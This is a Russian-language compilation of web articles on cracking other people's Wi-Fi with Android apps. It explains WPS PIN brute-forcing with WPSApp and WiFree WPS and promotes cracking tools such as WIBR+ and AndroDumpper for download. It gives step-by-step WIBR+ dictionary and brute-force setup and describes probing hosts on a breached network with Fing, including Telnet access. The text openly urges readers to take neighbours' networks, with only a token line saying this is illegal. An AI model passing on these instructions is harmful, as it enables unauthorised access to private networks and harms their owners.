Технически беспроводную связь по стандартам 802.11b/g/n можно организовать и на нестандартных частотах (ниже 2412 МГц), но для этого потребуется специфическое оборудование и лицензия, а не просто разрешение местного радиочастотного центра. Шанс получить такой пакет документов у частного лица практически нулевой.
Взлом WiFi на Android: Приложения
Приложения для перебора WPS пинов на Android
В Google Play полно приложений для перебора WPS-пинов, поскольку это единственная атака, работающая на любом рутованном телефоне (до версии Android 4.4) и даже без рута (начиная с Android 5.0). Однако большинство из этих приложений написаны абы как, и их практическая польза очень сомнительна.
К примеру, WPSbr Free зачем-то пытается перебирать все 100 миллионов пин-кодов, проверяя их по два раза даже при хорошем уровне сигнала. Полный перебор таким способом займет примерно 16 лет, но большинство AP заблокируют лобовую атаку гораздо раньше. После очередного неверного пин-кода клиентское устройство попадет в черный список, и для продолжения брута придется менять MAC-адрес.
Более корректный подбор пинов выполняет программа WPSApp. Она позволяет отфильтровать все найденные точки доступа. Оставляет в списке только имеющие активный WPS и сортирует их по убыванию SNR.
Все потенциально уязвимые точки доступа в WPSApp отображаются знаком вопроса. Для них предлагается попробовать один из пяти дефолтных пин-кодов. Автор программы не стал заморачиваться со скриптом перебора и предложил сделать это вручную, зато двумя способами — с рутом и без.
Если же дефолтный пин-код заранее известен (вычисляется как производное от MAC-адреса по алгоритму ComputePIN), то такая точка доступа отмечается зеленой галочкой.
Если пин-код подошел, то ты сразу получишь пароль к Wi-Fi (WPA-PSK), каким бы сложным и длинным он ни был. Пароль можно сохранить и перейти к следующей точке доступа. Спустя какое-то время твой телефон сможет использовать Wi-Fi там, где раньше ловил только 3G/4G.
![]()
Чуть более продвинутая утилита — WiFree WPS. По сути это гибрид WPS PIN и Router Keygen. В нее зашито больше дефолтных пинов и паролей доступа к маршрутизаторам, а также есть функция их автоматического перебора. Плюс она показывает сохраненные пароли Wi-Fi и все настройки текущего подключения.
Интерфейс у программы аляповатый, но довольно информативный. Она анализирует тип защиты, производителя и уровень сигнала всех найденных точек доступа. Зеленым отображаются AP с наиболее высокой вероятностью взлома. Серым — те AP, на которых стоит перебрать 10–20 стандартных пинов, а красным — те, которые быстро вскрыть не удастся. Например, у них очень низкий уровень сигнала или вовсе отсутствует авторизация по WPS PIN. В WiFree WPS доступно два режима атаки: с рутом (требуется патч и BusyBox) и без рута (работает на Android 5.0 и выше, причем быстрее, чем в аналогичных программах).
Если в базе данных программы нет дефолтных пин-кодов для устройств данного производителя, такая точка доступа будет отображаться красным. Ты можешь попробовать подключиться к ней, вводя WPS PIN вручную. Помешать успешному взлому могут и другие факторы: низкий уровень сигнала, режим WPS-авторизации по нажатию кнопки, изменение дефолтного пина, фильтрация по MAC-адресу.
После того как ты подобрал WPS PIN и узнал пароль точки доступа, можно подключаться к ней и изучать беспроводную сеть. Для этого рекомендую использовать бесплатный набор утилит Fing — Network Tools.
Приложение имеет аккуратный и наглядный интерфейс, а все пункты меню говорят сами за себя. Например, можно просканировать точку доступа и узнать о ней массу деталей.
Затем разослать ARP-пакеты и обнаружить все подключенные хосты в этой беспроводной сети (в том числе и твой смартфон).
Посмотреть доступные сервисы и открытые порты на любом узле в этой сети.
Fing даже предлагает сразу же подключиться к любому из них, например по Telnet.
Простор для фантазии здесь открывается очень большой. Можно даже удаленно включить спящее устройство, если оно поддерживает технологию Wake-on-LAN, или устроить общую побудку широковещательным запросом WOL.
Взлом WiFi на Андроид
Как тут быть? – Берем в руки любимый смартфон, читаем нашу статью и пробуем подключиться к другим сетям.
Не пугайтесь этого предложения – ведь у нас с вами высокие «этические» цели. Мы не будем постоянно «висеть» на чужом инете, а только используем его недолго и с благими намерениями. Цель определена, да вот только соседи наши (или другие владельцы беспроводного «чуда») защитились от таких «умников» как мы паролем. Как же его подобрать? – Придется использовать специально разработанные приложения. Только не говорите, что где-то далеко в душе никогда не стремились стать хакером?!
Как происходит взлом на Android устройствах
Прежде чем приступать к работе, поговорим немного о самой технологии взлома. Как это работает? «Хакерское» ПО представляет собой обычное приложение, которое устанавливается на смартфон с ОС Android. Оно позволяет получить пароль и идентификатор SSID от любой доступной беспроводной сети, а потому открыть к ней доступ.
Сервисы подобного плана обычно достаточно просты в использовании, хотя технологически их функциональность высокая. Они дают возможность успешно и быстро взломать защищенную сеть (методом подбора паролей по словарю или при помощи перебора WPS-пин-кодов). А далее вы можете получить на нее админ права, а можете просто восстановить к ней доступ (если сеть изначально была вашей).
Преимущества программ для взлома с мобильных устройств
- минималистический, обычно интуитивно-понятный интерфейс;
- простая конфигурация и минимум настроек (не требуется особых знаний и навыков) – разберется даже неопытный пользователь;
- быстрота работы (экономия времени);
- возможность использования бесплатных утилит (экономия финансов).
Приложения для взлома WiFi на Андроид
- WiFi Warden – высококачественный многофункциональный инструмент анализа, который позволяет получать большой объем информации о вашей сети (ключи, каналы, порты и др.).
- Wps connect – бесплатный продукт для мониторинга подключений и эффективного подбора паролей. Русифицирован, не требует много места в памяти устройства, прост в установке.
- Wifi wps wpa tester – удобный сканер вай-фай окружения, который также способен на подбор ключей. Поставляется на английском языке, есть платная и бесплатная версии.
- AndroDumpper – популярный сервис поиска уязвимостей беспроводных сетей. Русифицирован, прост в работе, требуются рут-права.
- WIBR+ - прога для взлома паролей методом брутфорса (содержит словари ключей). Есть русский язык, возможно расширение софта за счет скачивания дополнительных баз данных.
Скачать программу для взлома WiFi на Андроид бесплатно
Как видите, выбор программ впечатляющий. При таком ассортименте вы точно сможете найти оптимальный для себя сервис и научиться эффективно им пользоваться. Мы предоставили вам лишь некоторые варианты утилит для тестирования. Они менее профессиональны, но доступны для понимания и лаконичны в настройке.
Рекомендуем скачать программы для взлома именно на нашем ресурсе – в представленных обзорах вы найдете полную информацию по сервисам, ознакомитесь с их преимуществами и недостатками, оцените софт и поймете для себя, что выбрать и с чего следует начать.
Как взломать Wi-Fi с помощью Android устройства
Я думаю, что многие из нас часто пытались подобрать пароли к чужим Wi-Fi сетям, и в 98% случаев, это не несло никакого успеха, теперь за вас это сделает ваш Android девайс.
Итак, перед нами программа под названием WIBR+. ( Скачать )
Работа программы заключается в подборе паролей для Wi-Fi сетей.
Изначально приложение создавалось для тестирования безопасности Wi-Fi сетей.
- Bruteforce - Настроенный вами генератор ключей.
- Dictionary - Словарь с предустановленными ключами.
Если Вы знаете, что пароль начинается с "root" и нескольких цифр, Вы можете установить маску "root[x] [x]" и выбрать алфавит цифр. Приложение попробует все пароли вида: "root00", "root01" и до "root99"!
Dictionary (Словарь) - Использует пароли из предопределенного (Вами) списка, один за другим. Например, если кто-то установил пароль "12345678" или "password", программа покажет данные об этом.
- Взламывание чужой сети - нелегально!
- Приблизительная скорость работы программы равна 8 ключей/минута.
- WIBR изменит пароль к выбранной сети. Это значит,что ваш девайс будет пытаться подключаться в Wi-Fi точке с паролем,на котором остановился WIBR.
- Скачиваем, устанавливаем.
- Заходим в WIBR и нажимаем Add Network. (Добавить сеть)
- Открывается список Wi-Fi сетей, и ищем ту сеть, у которой сигнал лучше (Signal strenght). Нажимаем на неё.
- Далее ставим галочки где нужно.
Дополнительная информация:
Add Сustom Dictionary - Добавить свой словарь.
Configure Bruteforce - Настроить брут-форс атаку. - Нажимаем Add to Queue - Добавить в очередь.
- Готово, программа начала подбор паролей, теперь просто ожидайте (Время зависит от размера словаря).